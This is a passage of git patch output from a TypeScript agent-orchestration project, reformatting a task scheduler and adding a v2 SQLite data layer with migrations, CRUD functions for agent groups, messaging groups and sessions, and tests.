grid - const offset = - (new Date(nextRun!).getTime() - new Date(scheduledTime).getTime()) % ms; + const offset = (new Date(nextRun!).getTime() - new Date(scheduledTime).getTime()) % ms; expect(offset).toBe(0); }); }); diff --git a/src/task-scheduler.ts b/src/task-scheduler.ts index f2b964d..0d663a9 100644 --- a/src/task-scheduler.ts +++ b/src/task-scheduler.ts @@ -3,19 +3,8 @@ import { CronExpressionParser } from 'cron-parser'; import fs from 'fs'; import { ASSISTANT_NAME, SCHEDULER_POLL_INTERVAL, TIMEZONE } from './config.js'; -import { - ContainerOutput, - runContainerAgent, - writeTasksSnapshot, -} from './container-runner.js'; -import { - getAllTasks, - getDueTasks, - getTaskById, - logTaskRun, - updateTask, - updateTaskAfterRun, -} from './db.js'; +import { ContainerOutput, runContainerAgent, writeTasksSnapshot } from './container-runner.js'; +import { getAllTasks, getDueTasks, getTaskById, logTaskRun, updateTask, updateTaskAfterRun } from './db.js'; import { GroupQueue } from './group-queue.js'; import { resolveGroupFolderPath } from './group-folder.js'; import { logger } from './logger.js'; @@ -44,10 +33,7 @@ export function computeNextRun(task: ScheduledTask): string | null { const ms = parseInt(task.schedule_value, 10); if (!ms || ms <= 0) { // Guard against malformed interval that would cause an infinite loop - logger.warn( - { taskId: task.id, value: task.schedule_value }, - 'Invalid interval value', - ); + logger.warn({ taskId: task.id, value: task.schedule_value }, 'Invalid interval value'); return new Date(now + 60_000).toISOString(); } // Anchor to the scheduled time, not now, to prevent drift. @@ -66,19 +52,11 @@ export interface SchedulerDependencies { registeredGroups: () => Record; getSessions: () => Record; queue: GroupQueue; - onProcess: ( - groupJid: string, - proc: ChildProcess, - containerName: string, - groupFolder: string, - ) => void; + onProcess: (groupJid: string, proc: ChildProcess, containerName: string, groupFolder: string) => void; sendMessage: (jid: string, text: string) => Promise; } -async function runTask( - task: ScheduledTask, - deps: SchedulerDependencies, -): Promise { +async function runTask(task: ScheduledTask, deps: SchedulerDependencies): Promise { const startTime = Date.now(); let groupDir: string; try { @@ -87,10 +65,7 @@ async function runTask( const error = err instanceof Error ? err.message : String(err); // Stop retry churn for malformed legacy rows. updateTask(task.id, { status: 'paused' }); - logger.error( - { taskId: task.id, groupFolder: task.group_folder, error }, - 'Task has invalid group folder', - ); + logger.error({ taskId: task.id, groupFolder: task.group_folder, error }, 'Task has invalid group folder'); logTaskRun({ task_id: task.id, run_at: new Date().toISOString(), @@ -103,21 +78,13 @@ async function runTask( } fs.mkdirSync(groupDir, { recursive: true }); - logger.info( - { taskId: task.id, group: task.group_folder }, - 'Running scheduled task', - ); + logger.info({ taskId: task.id, group: task.group_folder }, 'Running scheduled task'); const groups = deps.registeredGroups(); - const group = Object.values(groups).find( - (g) => g.folder === task.group_folder, - ); + const group = Object.values(groups).find((g) => g.folder === task.group_folder); if (!group) { - logger.error( - { taskId: task.id, groupFolder: task.group_folder }, - 'Group not found for task', - ); + logger.error({ taskId: task.id, groupFolder: task.group_folder }, 'Group not found for task'); logTaskRun({ task_id: task.id, run_at: new Date().toISOString(), @@ -152,8 +119,7 @@ async function runTask( // For group context mode, use the group's current session const sessions = deps.getSessions(); - const sessionId = - task.context_mode === 'group' ? sessions[task.group_folder] : undefined; + const sessionId = task.context_mode === 'group' ? sessions[task.group_folder] : undefined; // After the task produces a result, close the container promptly. // Tasks are single-turn — no need to wait IDLE_TIMEOUT (30 min) for the @@ -182,8 +148,7 @@ async function runTask( assistantName: ASSISTANT_NAME, script: task.script || undefined, }, - (proc, containerName) => - deps.onProcess(task.chat_jid, proc, containerName, task.group_folder), + (proc, containerName) => deps.onProcess(task.chat_jid, proc, containerName, task.group_folder), async (streamedOutput: ContainerOutput) => { if (streamedOutput.result) { result = streamedOutput.result; @@ -210,10 +175,7 @@ async function runTask( result = output.result; } - logger.info( - { taskId: task.id, durationMs: Date.now() - startTime }, - 'Task completed', - ); + logger.info({ taskId: task.id, durationMs: Date.now() - startTime }, 'Task completed'); } catch (err) { if (closeTimer) clearTimeout(closeTimer); error = err instanceof Error ? err.message : String(err); @@ -232,11 +194,7 @@ async function runTask( }); const nextRun = computeNextRun(task); - const resultSummary = error - ? `Error: ${error}` - : result - ? result.slice(0, 200) - : 'Completed'; + const resultSummary = error ? `Error: ${error}` : result ? result.slice(0, 200) : 'Completed'; updateTaskAfterRun(task.id, nextRun, resultSummary); } @@ -264,9 +222,7 @@ export function startSchedulerLoop(deps: SchedulerDependencies): void { continue; } - deps.queue.enqueueTask(currentTask.chat_jid, currentTask.id, () => - runTask(currentTask, deps), - ); + deps.queue.enqueueTask(currentTask.chat_jid, currentTask.id, () => runTask(currentTask, deps)); } } catch (err) { logger.error({ err }, 'Error in scheduler loop'); diff --git a/src/timezone.test.ts b/src/timezone.test.ts index 1003a61..d9e9454 100644 --- a/src/timezone.test.ts +++ b/src/timezone.test.ts @@ -1,20 +1,13 @@ import { describe, it, expect } from 'vitest'; -import { - formatLocalTime, - isValidTimezone, - resolveTimezone, -} from './timezone.js'; +import { formatLocalTime, isValidTimezone, resolveTimezone } from './timezone.js'; // --- formatLocalTime --- describe('formatLocalTime', () => { it('converts UTC to local time display', () => { // 2026-02-04T18:30:00Z in America/New_York (EST, UTC-5) = 1:30 PM - const result = formatLocalTime( - '2026-02-04T18:30:00.000Z', - 'America/New_York', - ); + const result = formatLocalTime('2026-02-04T18:30:00.000Z', 'America/New_York'); expect(result).toContain('1:30'); expect(result).toContain('PM'); expect(result).toContain('Feb'); @@ -32,9 +25,7 @@ describe('formatLocalTime', () => { }); it('does not throw on invalid timezone, falls back to UTC', () => { - expect(() => - formatLocalTime('2026-01-01T00:00:00.000Z', 'IST-2'), - ).not.toThrow(); + expect(() => formatLocalTime('2026-01-01T00:00:00.000Z', 'IST-2')).not.toThrow(); const result = formatLocalTime('2026-01-01T12:00:00.000Z', 'IST-2'); // Should format as UTC (noon UTC = 12:00 PM) expect(result).toContain('12:00'); From 3f0451b7b025c1e4e16ccbc753231b5afd704408 Mon Sep 17 00:00:00 2001 From: gavrielc Date: Wed, 8 Apr 2026 23:34:09 +0300 Subject: [PATCH 065/485] =?UTF-8?q?v2=20phase=201:=20foundation=20?= =?UTF-8?q?=E2=80=94=20types,=20DB=20layer,=20logging?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Add the v2 data layer: typed interfaces, central DB with migration runner, per-entity CRUD, and agent-runner session DB operations. - src/log.ts: concise message-first logging API - src/types-v2.ts: AgentGroup, MessagingGroup, Session, MessageIn/Out - src/db/: connection (WAL), migration runner, 001-initial schema, CRUD for agent_groups, messaging_groups, sessions, pending_questions - container/agent-runner/src/db/: session DB connection, messages_in reads + status transitions, messages_out writes - 31 new tests, all 277 tests pass Co-Authored-By: Claude Opus 4.6 (1M context) --- container/agent-runner/src/db/connection.ts | 55 +++ container/agent-runner/src/db/index.ts | 5 + container/agent-runner/src/db/messages-in.ts | 65 +++ container/agent-runner/src/db/messages-out.ts | 62 +++ src/db/agent-groups.ts | 51 +++ src/db/connection.ts | 33 ++ src/db/db-v2.test.ts | 405 ++++++++++++++++++ src/db/index.ts | 37 ++ src/db/messaging-groups.ts | 98 +++++ src/db/migrations/001-initial.ts | 68 +++ src/db/migrations/index.ts | 46 ++ src/db/schema.ts | 103 +++++ src/db/sessions.ts | 85 ++++ src/log.ts | 64 +++ src/types-v2.ts | 90 ++++ 15 files changed, 1267 insertions(+) create mode 100644 container/agent-runner/src/db/connection.ts create mode 100644 container/agent-runner/src/db/index.ts create mode 100644 container/agent-runner/src/db/messages-in.ts create mode 100644 container/agent-runner/src/db/messages-out.ts create mode 100644 src/db/agent-groups.ts create mode 100644 src/db/connection.ts create mode 100644 src/db/db-v2.test.ts create mode 100644 src/db/index.ts create mode 100644 src/db/messaging-groups.ts create mode 100644 src/db/migrations/001-initial.ts create mode 100644 src/db/migrations/index.ts create mode 100644 src/db/schema.ts create mode 100644 src/db/sessions.ts create mode 100644 src/log.ts create mode 100644 src/types-v2.ts diff --git a/container/agent-runner/src/db/connection.ts b/container/agent-runner/src/db/connection.ts new file mode 100644 index 0000000..9e71e58 --- /dev/null +++ b/container/agent-runner/src/db/connection.ts @@ -0,0 +1,55 @@ +import Database from 'better-sqlite3'; + +const SESSION_DB_PATH = '/workspace/session.db'; + +let _db: Database.Database | null = null; + +export function getSessionDb(): Database.Database { + if (!_db) { + _db = new Database(process.env.SESSION_DB_PATH || SESSION_DB_PATH); + _db.pragma('journal_mode = WAL'); + _db.pragma('foreign_keys = ON'); + } + return _db; +} + +/** For tests — opens an in-memory DB with session schema. */ +export function initTestSessionDb(): Database.Database { + _db = new Database(':memory:'); + _db.pragma('foreign_keys = ON'); + _db.exec(` + CREATE TABLE messages_in ( + id TEXT PRIMARY KEY, + kind TEXT NOT NULL, + timestamp TEXT NOT NULL, + status TEXT DEFAULT 'pending', + status_changed TEXT, + process_after TEXT, + recurrence TEXT, + tries INTEGER DEFAULT 0, + platform_id TEXT, + channel_type TEXT, + thread_id TEXT, + content TEXT NOT NULL + ); + CREATE TABLE messages_out ( + id TEXT PRIMARY KEY, + in_reply_to TEXT, + timestamp TEXT NOT NULL, + delivered INTEGER DEFAULT 0, + deliver_after TEXT, + recurrence TEXT, + kind TEXT NOT NULL, + platform_id TEXT, + channel_type TEXT, + thread_id TEXT, + content TEXT NOT NULL + ); + `); + return _db; +} + +export function closeSessionDb(): void { + _db?.close(); + _db = null; +} diff --git a/container/agent-runner/src/db/index.ts b/container/agent-runner/src/db/index.ts new file mode 100644 index 0000000..63c00d3 --- /dev/null +++ b/container/agent-runner/src/db/index.ts @@ -0,0 +1,5 @@ +export { getSessionDb, initTestSessionDb, closeSessionDb } from './connection.js'; +export { getPendingMessages, markProcessing, markCompleted, markFailed, getMessageIn, findQuestionResponse } from './messages-in.js'; +export type { MessageInRow } from './messages-in.js'; +export { writeMessageOut, getUndeliveredMessages, markDelivered } from './messages-out.js'; +export type { MessageOutRow, WriteMessageOut } from './messages-out.js'; diff --git a/container/agent-runner/src/db/messages-in.ts b/container/agent-runner/src/db/messages-in.ts new file mode 100644 index 0000000..a68071b --- /dev/null +++ b/container/agent-runner/src/db/messages-in.ts @@ -0,0 +1,65 @@ +import { getSessionDb } from './connection.js'; + +export interface MessageInRow { + id: string; + kind: string; + timestamp: string; + status: string; + status_changed: string | null; + process_after: string | null; + recurrence: string | null; + tries: number; + platform_id: string | null; + channel_type: string | null; + thread_id: string | null; + content: string; +} + +/** Fetch all pending messages that are due for processing. */ +export function getPendingMessages(): MessageInRow[] { + return getSessionDb() + .prepare( + `SELECT * FROM messages_in + WHERE status = 'pending' + AND (process_after IS NULL OR process_after <= datetime('now')) + ORDER BY timestamp ASC`, + ) + .all() as MessageInRow[]; +} + +/** Mark messages as processing. */ +export function markProcessing(ids: string[]): void { + if (ids.length === 0) return; + const db = getSessionDb(); + const stmt = db.prepare("UPDATE messages_in SET status = 'processing', status_changed = datetime('now'), tries = tries + 1 WHERE id = ?"); + db.transaction(() => { + for (const id of ids) stmt.run(id); + })(); +} + +/** Mark messages as completed. */ +export function markCompleted(ids: string[]): void { + if (ids.length === 0) return; + const db = getSessionDb(); + const stmt = db.prepare("UPDATE messages_in SET status = 'completed', status_changed = datetime('now') WHERE id = ?"); + db.transaction(() => { + for (const id of ids) stmt.run(id); + })(); +} + +/** Mark a single message as failed. */ +export function markFailed(id: string): void { + getSessionDb().prepare("UPDATE messages_in SET status = 'failed', status_changed = datetime('now') WHERE id = ?").run(id); +} + +/** Get a message by ID. */ +export function getMessageIn(id: string): MessageInRow | undefined { + return getSessionDb().prepare('SELECT * FROM messages_in WHERE id = ?').get(id) as MessageInRow | undefined; +} + +/** Find a pending response to a question (by questionId in content). */ +export function findQuestionResponse(questionId: string): MessageInRow | undefined { + return getSessionDb() + .prepare("SELECT * FROM messages_in WHERE status = 'pending' AND content LIKE ?") + .get(`%"questionId":"${questionId}"%`) as MessageInRow | undefined; +} diff --git a/container/agent-runner/src/db/messages-out.ts b/container/agent-runner/src/db/messages-out.ts new file mode 100644 index 0000000..97db901 --- /dev/null +++ b/container/agent-runner/src/db/messages-out.ts @@ -0,0 +1,62 @@ +import { getSessionDb } from './connection.js'; + +export interface MessageOutRow { + id: string; + in_reply_to: string | null; + timestamp: string; + delivered: number; + deliver_after: string | null; + recurrence: string | null; + kind: string; + platform_id: string | null; + channel_type: string | null; + thread_id: string | null; + content: string; +} + +export interface WriteMessageOut { + id: string; + in_reply_to?: string | null; + deliver_after?: string | null; + recurrence?: string | null; + kind: string; + platform_id?: string | null; + channel_type?: string | null; + thread_id?: string | null; + content: string; +} + +/** Write a new outbound message. */ +export function writeMessageOut(msg: WriteMessageOut): void { + getSessionDb() + .prepare( + `INSERT INTO messages_out (id, in_reply_to, timestamp, delivered, deliver_after, recurrence, kind, platform_id, channel_type, thread_id, content) + VALUES (@id, @in_reply_to, datetime('now'), 0, @deliver_after, @recurrence, @kind, @platform_id, @channel_type, @thread_id, @content)`, + ) + .run({ + in_reply_to: null, + deliver_after: null, + recurrence: null, + platform_id: null, + channel_type: null, + thread_id: null, + ...msg, + }); +} + +/** Get undelivered messages (for host polling). */ +export function getUndeliveredMessages(): MessageOutRow[] { + return getSessionDb() + .prepare( + `SELECT * FROM messages_out + WHERE delivered = 0 + AND (deliver_after IS NULL OR deliver_after <= datetime('now')) + ORDER BY timestamp ASC`, + ) + .all() as MessageOutRow[]; +} + +/** Mark a message as delivered. */ +export function markDelivered(id: string): void { + getSessionDb().prepare('UPDATE messages_out SET delivered = 1 WHERE id = ?').run(id); +} diff --git a/src/db/agent-groups.ts b/src/db/agent-groups.ts new file mode 100644 index 0000000..a306616 --- /dev/null +++ b/src/db/agent-groups.ts @@ -0,0 +1,51 @@ +import type { AgentGroup } from '../types-v2.js'; +import { getDb } from './connection.js'; + +export function createAgentGroup(group: AgentGroup): void { + getDb() + .prepare( + `INSERT INTO agent_groups (id, name, folder, is_admin, agent_provider, container_config, created_at) + VALUES (@id, @name, @folder, @is_admin, @agent_provider, @container_config, @created_at)`, + ) + .run(group); +} + +export function getAgentGroup(id: string): AgentGroup | undefined { + return getDb().prepare('SELECT * FROM agent_groups WHERE id = ?').get(id) as AgentGroup | undefined; +} + +export function getAgentGroupByFolder(folder: string): AgentGroup | undefined { + return getDb().prepare('SELECT * FROM agent_groups WHERE folder = ?').get(folder) as AgentGroup | undefined; +} + +export function getAllAgentGroups(): AgentGroup[] { + return getDb().prepare('SELECT * FROM agent_groups ORDER BY name').all() as AgentGroup[]; +} + +export function getAdminAgentGroup(): AgentGroup | undefined { + return getDb().prepare('SELECT * FROM agent_groups WHERE is_admin = 1 LIMIT 1').get() as AgentGroup | undefined; +} + +export function updateAgentGroup( + id: string, + updates: Partial>, +): void { + const fields: string[] = []; + const values: Record = { id }; + + for (const [key, value] of Object.entries(updates)) { + if (value !== undefined) { + fields.push(`${key} = @${key}`); + values[key] = value; + } + } + if (fields.length === 0) return; + + getDb() + .prepare(`UPDATE agent_groups SET ${fields.join(', ')} WHERE id = @id`) + .run(values); +} + +export function deleteAgentGroup(id: string): void { + getDb().prepare('DELETE FROM agent_groups WHERE id = ?').run(id); +} diff --git a/src/db/connection.ts b/src/db/connection.ts new file mode 100644 index 0000000..6d13774 --- /dev/null +++ b/src/db/connection.ts @@ -0,0 +1,33 @@ +import Database from 'better-sqlite3'; +import fs from 'fs'; +import path from 'path'; + +import { log } from '../log.js'; + +let _db: Database.Database | null = null; + +export function getDb(): Database.Database { + if (!_db) throw new Error('Database not initialized. Call initDb() first.'); + return _db; +} + +export function initDb(dbPath: string): Database.Database { + fs.mkdirSync(path.dirname(dbPath), { recursive: true }); + _db = new Database(dbPath); + _db.pragma('journal_mode = WAL'); + _db.pragma('foreign_keys = ON'); + log.info('Central DB initialized', { path: dbPath }); + return _db; +} + +/** For tests only — creates an in-memory DB and runs migrations. */ +export function initTestDb(): Database.Database { + _db = new Database(':memory:'); + _db.pragma('foreign_keys = ON'); + return _db; +} + +export function closeDb(): void { + _db?.close(); + _db = null; +} diff --git a/src/db/db-v2.test.ts b/src/db/db-v2.test.ts new file mode 100644 index 0000000..daa9576 --- /dev/null +++ b/src/db/db-v2.test.ts @@ -0,0 +1,405 @@ +import { describe, it, expect, beforeEach, afterEach } from 'vitest'; + +import { + initTestDb, + closeDb, + runMigrations, + createAgentGroup, + getAgentGroup, + getAgentGroupByFolder, + getAllAgentGroups, + getAdminAgentGroup, + updateAgentGroup, + deleteAgentGroup, + createMessagingGroup, + getMessagingGroup, + getMessagingGroupByPlatform, + getAllMessagingGroups, + updateMessagingGroup, + deleteMessagingGroup, + createMessagingGroupAgent, + getMessagingGroupAgents, + getMessagingGroupAgent, + updateMessagingGroupAgent, + deleteMessagingGroupAgent, + createSession, + getSession, + findSession, + getSessionsByAgentGroup, + getActiveSessions, + getRunningSessions, + updateSession, + deleteSession, + createPendingQuestion, + getPendingQuestion, + deletePendingQuestion, +} from './index.js'; + +function now() { + return new Date().toISOString(); +} + +beforeEach(() => { + const db = initTestDb(); + runMigrations(db); +}); + +afterEach(() => { + closeDb(); +}); + +// ── Migrations ── + +describe('migrations', () => { + it('should be idempotent', () => { + const db = initTestDb(); + runMigrations(db); + // Running again should not throw + runMigrations(db); + }); + + it('should track schema version', () => { + const db = initTestDb(); + runMigrations(db); + const row = db.prepare('SELECT MAX(version) as v FROM schema_version').get() as { v: number }; + expect(row.v).toBe(1); + }); +}); + +// ── Agent Groups ── + +describe('agent groups', () => { + const ag = () => ({ + id: 'ag-1', + name: 'Test Agent', + folder: 'test-agent', + is_admin: 0, + agent_provider: null, + container_config: null, + created_at: now(), + }); + + it('should create and retrieve', () => { + createAgentGroup(ag()); + const result = getAgentGroup('ag-1'); + expect(result).toBeDefined(); + expect(result!.name).toBe('Test Agent'); + expect(result!.folder).toBe('test-agent'); + }); + + it('should find by folder', () => { + createAgentGroup(ag()); + const result = getAgentGroupByFolder('test-agent'); + expect(result).toBeDefined(); + expect(result!.id).toBe('ag-1'); + }); + + it('should list all', () => { + createAgentGroup(ag()); + createAgentGroup({ ...ag(), id: 'ag-2', name: 'Another', folder: 'another' }); + expect(getAllAgentGroups()).toHaveLength(2); + }); + + it('should find admin group', () => { + createAgentGroup(ag()); + createAgentGroup({ ...ag(), id: 'ag-admin', name: 'Admin', folder: 'admin', is_admin: 1 }); + const admin = getAdminAgentGroup(); + expect(admin).toBeDefined(); + expect(admin!.id).toBe('ag-admin'); + }); + + it('should update', () => { + createAgentGroup(ag()); + updateAgentGroup('ag-1', { name: 'Updated' }); + expect(getAgentGroup('ag-1')!.name).toBe('Updated'); + }); + + it('should delete', () => { + createAgentGroup(ag()); + deleteAgentGroup('ag-1'); + expect(getAgentGroup('ag-1')).toBeUndefined(); + }); + + it('should enforce unique folder', () => { + createAgentGroup(ag()); + expect(() => createAgentGroup({ ...ag(), id: 'ag-dup' })).toThrow(); + }); +}); + +// ── Messaging Groups ── + +describe('messaging groups', () => { + const mg = () => ({ + id: 'mg-1', + channel_type: 'discord', + platform_id: 'chan-123', + name: 'General', + is_group: 1, + admin_user_id: 'user-1', + created_at: now(), + }); + + it('should create and retrieve', () => { + createMessagingGroup(mg()); + const result = getMessagingGroup('mg-1'); + expect(result).toBeDefined(); + expect(result!.channel_type).toBe('discord'); + }); + + it('should find by platform', () => { + createMessagingGroup(mg()); + const result = getMessagingGroupByPlatform('discord', 'chan-123'); + expect(result).toBeDefined(); + expect(result!.id).toBe('mg-1'); + }); + + it('should enforce unique channel_type + platform_id', () => { + createMessagingGroup(mg()); + expect(() => createMessagingGroup({ ...mg(), id: 'mg-dup' })).toThrow(); + }); + + it('should update', () => { + createMessagingGroup(mg()); + updateMessagingGroup('mg-1', { name: 'Updated' }); + expect(getMessagingGroup('mg-1')!.name).toBe('Updated'); + }); + + it('should delete', () => { + createMessagingGroup(mg()); + deleteMessagingGroup('mg-1'); + expect(getMessagingGroup('mg-1')).toBeUndefined(); + }); +}); + +// ── Messaging Group Agents ── + +describe('messaging group agents', () => { + beforeEach(() => { + createAgentGroup({ + id: 'ag-1', + name: 'Agent', + folder: 'agent', + is_admin: 0, + agent_provider: null, + container_config: null, + created_at: now(), + }); + createMessagingGroup({ + id: 'mg-1', + channel_type: 'discord', + platform_id: 'chan-1', + name: 'Gen', + is_group: 1, + admin_user_id: null, + created_at: now(), + }); + }); + + const mga = () => ({ + id: 'mga-1', + messaging_group_id: 'mg-1', + agent_group_id: 'ag-1', + trigger_rules: null, + response_scope: 'all' as const, + session_mode: 'shared' as const, + priority: 0, + created_at: now(), + }); + + it('should create and list by messaging group', () => { + createMessagingGroupAgent(mga()); + const results = getMessagingGroupAgents('mg-1'); + expect(results).toHaveLength(1); + expect(results[0].agent_group_id).toBe('ag-1'); + }); + + it('should order by priority descending', () => { + createMessagingGroupAgent(mga()); + createAgentGroup({ + id: 'ag-2', + name: 'Agent2', + folder: 'agent2', + is_admin: 0, + agent_provider: null, + container_config: null, + created_at: now(), + }); + createMessagingGroupAgent({ ...mga(), id: 'mga-2', agent_group_id: 'ag-2', priority: 10 }); + const results = getMessagingGroupAgents('mg-1'); + expect(results[0].agent_group_id).toBe('ag-2'); + expect(results[1].agent_group_id).toBe('ag-1'); + }); + + it('should enforce unique messaging_group + agent_group', () => { + createMessagingGroupAgent(mga()); + expect(() => createMessagingGroupAgent({ ...mga(), id: 'mga-dup' })).toThrow(); + }); + + it('should update', () => { + createMessagingGroupAgent(mga()); + updateMessagingGroupAgent('mga-1', { priority: 5 }); + expect(getMessagingGroupAgent('mga-1')!.priority).toBe(5); + }); + + it('should delete', () => { + createMessagingGroupAgent(mga()); + deleteMessagingGroupAgent('mga-1'); + expect(getMessagingGroupAgents('mg-1')).toHaveLength(0); + }); + + it('should enforce foreign key on agent_group_id', () => { + expect(() => createMessagingGroupAgent({ ...mga(), agent_group_id: 'nonexistent' })).toThrow(); + }); +}); + +// ── Sessions ── + +describe('sessions', () => { + beforeEach(() => { + createAgentGroup({ + id: 'ag-1', + name: 'Agent', + folder: 'agent', + is_admin: 0, + agent_provider: null, + container_config: null, + created_at: now(), + }); + createMessagingGroup({ + id: 'mg-1', + channel_type: 'discord', + platform_id: 'chan-1', + name: 'Gen', + is_group: 1, + admin_user_id: null, + created_at: now(), + }); + }); + + const sess = () => ({ + id: 'sess-1', + agent_group_id: 'ag-1', + messaging_group_id: 'mg-1', + thread_id: null, + agent_provider: null, + status: 'active' as const, + container_status: 'stopped' as const, + last_active: null, + created_at: now(), + }); + + it('should create and retrieve', () => { + createSession(sess()); + const result = getSession('sess-1'); + expect(result).toBeDefined(); + expect(result!.agent_group_id).toBe('ag-1'); + }); + + it('should find by messaging group (shared, no thread)', () => { + createSession(sess()); + const result = findSession('mg-1', null); + expect(result).toBeDefined(); + expect(result!.id).toBe('sess-1'); + }); + + it('should find by messaging group + thread', () => { + createSession({ ...sess(), thread_id: 'thread-1' }); + expect(findSession('mg-1', 'thread-1')).toBeDefined(); + expect(findSession('mg-1', 'thread-2')).toBeUndefined(); + expect(findSession('mg-1', null)).toBeUndefined(); + }); + + it('should only find active sessions', () => { + createSession({ ...sess(), status: 'closed' }); + expect(findSession('mg-1', null)).toBeUndefined(); + }); + + it('should list by agent group', () => { + createSession(sess()); + createSession({ ...sess(), id: 'sess-2', thread_id: 'thread-1' }); + expect(getSessionsByAgentGroup('ag-1')).toHaveLength(2); + }); + + it('should list active sessions', () => { + createSession(sess()); + createSession({ ...sess(), id: 'sess-closed', status: 'closed', thread_id: 'thread-x' }); + expect(getActiveSessions()).toHaveLength(1); + }); + + it('should list running sessions', () => { + createSession({ ...sess(), container_status: 'running' }); + createSession({ ...sess(), id: 'sess-idle', container_status: 'idle', thread_id: 'thread-1' }); + createSession({ ...sess(), id: 'sess-stopped', container_status: 'stopped', thread_id: 'thread-2' }); + expect(getRunningSessions()).toHaveLength(2); + }); + + it('should update', () => { + createSession(sess()); + updateSession('sess-1', { container_status: 'running', last_active: now() }); + const result = getSession('sess-1')!; + expect(result.container_status).toBe('running'); + expect(result.last_active).not.toBeNull(); + }); + + it('should delete', () => { + createSession(sess()); + deleteSession('sess-1'); + expect(getSession('sess-1')).toBeUndefined(); + }); +}); + +// ── Pending Questions ── + +describe('pending questions', () => { + beforeEach(() => { + createAgentGroup({ + id: 'ag-1', + name: 'Agent', + folder: 'agent', + is_admin: 0, + agent_provider: null, + container_config: null, + created_at: now(), + }); + createSession({ + id: 'sess-1', + agent_group_id: 'ag-1', + messaging_group_id: null, + thread_id: null, + agent_provider: null, + status: 'active', + container_status: 'stopped', + last_active: null, + created_at: now(), + }); + }); + + it('should create and retrieve', () => { + createPendingQuestion({ + question_id: 'q-1', + session_id: 'sess-1', + message_out_id: 'msg-out-1', + platform_id: 'chan-1', + channel_type: 'discord', + thread_id: null, + created_at: now(), + }); + const result = getPendingQuestion('q-1'); + expect(result).toBeDefined(); + expect(result!.session_id).toBe('sess-1'); + }); + + it('should delete', () => { + createPendingQuestion({ + question_id: 'q-1', + session_id: 'sess-1', + message_out_id: 'msg-out-1', + platform_id: null, + channel_type: null, + thread_id: null, + created_at: now(), + }); + deletePendingQuestion('q-1'); + expect(getPendingQuestion('q-1')).toBeUndefined(); + }); +}); diff --git a/src/db/index.ts b/src/db/index.ts new file mode 100644 index 0000000..35645cb --- /dev/null +++ b/src/db/index.ts @@ -0,0 +1,37 @@ +export { initDb, initTestDb, getDb, closeDb } from './connection.js'; +export { runMigrations } from './migrations/index.js'; +export { + createAgentGroup, + getAgentGroup, + getAgentGroupByFolder, + getAllAgentGroups, + getAdminAgentGroup, + updateAgentGroup, + deleteAgentGroup, +} from './agent-groups.js'; +export { + createMessagingGroup, + getMessagingGroup, + getMessagingGroupByPlatform, + getAllMessagingGroups, + updateMessagingGroup, + deleteMessagingGroup, + createMessagingGroupAgent, + getMessagingGroupAgents, + getMessagingGroupAgent, + updateMessagingGroupAgent, + deleteMessagingGroupAgent, +} from './messaging-groups.js'; +export { + createSession, + getSession, + findSession, + getSessionsByAgentGroup, + getActiveSessions, + getRunningSessions, + updateSession, + deleteSession, + createPendingQuestion, + getPendingQuestion, + deletePendingQuestion, +} from './sessions.js'; diff --git a/src/db/messaging-groups.ts b/src/db/messaging-groups.ts new file mode 100644 index 0000000..40a9702 --- /dev/null +++ b/src/db/messaging-groups.ts @@ -0,0 +1,98 @@ +import type { MessagingGroup, MessagingGroupAgent } from '../types-v2.js'; +import { getDb } from './connection.js'; + +// ── Messaging Groups ── + +export function createMessagingGroup(group: MessagingGroup): void { + getDb() + .prepare( + `INSERT INTO messaging_groups (id, channel_type, platform_id, name, is_group, admin_user_id, created_at) + VALUES (@id, @channel_type, @platform_id, @name, @is_group, @admin_user_id, @created_at)`, + ) + .run(group); +} + +export function getMessagingGroup(id: string): MessagingGroup | undefined { + return getDb().prepare('SELECT * FROM messaging_groups WHERE id = ?').get(id) as MessagingGroup | undefined; +} + +export function getMessagingGroupByPlatform(channelType: string, platformId: string): MessagingGroup | undefined { + return getDb() + .prepare('SELECT * FROM messaging_groups WHERE channel_type = ? AND platform_id = ?') + .get(channelType, platformId) as MessagingGroup | undefined; +} + +export function getAllMessagingGroups(): MessagingGroup[] { + return getDb().prepare('SELECT * FROM messaging_groups ORDER BY name').all() as MessagingGroup[]; +} + +export function updateMessagingGroup( + id: string, + updates: Partial>, +): void { + const fields: string[] = []; + const values: Record = { id }; + + for (const [key, value] of Object.entries(updates)) { + if (value !== undefined) { + fields.push(`${key} = @${key}`); + values[key] = value; + } + } + if (fields.length === 0) return; + + getDb() + .prepare(`UPDATE messaging_groups SET ${fields.join(', ')} WHERE id = @id`) + .run(values); +} + +export function deleteMessagingGroup(id: string): void { + getDb().prepare('DELETE FROM messaging_groups WHERE id = ?').run(id); +} + +// ── Messaging Group Agents ── + +export function createMessagingGroupAgent(mga: MessagingGroupAgent): void { + getDb() + .prepare( + `INSERT INTO messaging_group_agents (id, messaging_group_id, agent_group_id, trigger_rules, response_scope, session_mode, priority, created_at) + VALUES (@id, @messaging_group_id, @agent_group_id, @trigger_rules, @response_scope, @session_mode, @priority, @created_at)`, + ) + .run(mga); +} + +export function getMessagingGroupAgents(messagingGroupId: string): MessagingGroupAgent[] { + return getDb() + .prepare('SELECT * FROM messaging_group_agents WHERE messaging_group_id = ? ORDER BY priority DESC') + .all(messagingGroupId) as MessagingGroupAgent[]; +} + +export function getMessagingGroupAgent(id: string): MessagingGroupAgent | undefined { + return getDb().prepare('SELECT * FROM messaging_group_agents WHERE id = ?').get(id) as + | MessagingGroupAgent + | undefined; +} + +export function updateMessagingGroupAgent( + id: string, + updates: Partial>, +): void { + const fields: string[] = []; + const values: Record = { id }; + + for (const [key, value] of Object.entries(updates)) { + if (value !== undefined) { + fields.push(`${key} = @${key}`); + values[key] = value; + } + } + if (fields.length === 0) return; + + getDb() + .prepare(`UPDATE messaging_group_agents SET ${fields.join(', ')} WHERE id = @id`) + .run(values); +} + +export function deleteMessagingGroupAgent(id: string): void { + getDb().prepare('DELETE FROM messaging_group_agents WHERE id = ?').run(id); +} diff --git a/src/db/migrations/001-initial.ts b/src/db/migrations/001-initial.ts new file mode 100644 index 0000000..d32b3c2 --- /dev/null +++ b/src/db/migrations/001-initial.ts @@ -0,0 +1,68 @@ +import type Database from 'better-sqlite3'; + +import type { Migration } from './index.js'; + +export const migration001: Migration = { + version: 1, + name: 'initial-v2-schema', + up(db: Database.Database) { + db.exec(` + CREATE TABLE agent_groups ( + id TEXT PRIMARY KEY, + name TEXT NOT NULL, + folder TEXT NOT NULL UNIQUE, + is_admin INTEGER DEFAULT 0, + agent_provider TEXT, + container_config TEXT, + created_at TEXT NOT NULL + ); + + CREATE TABLE messaging_groups ( + id 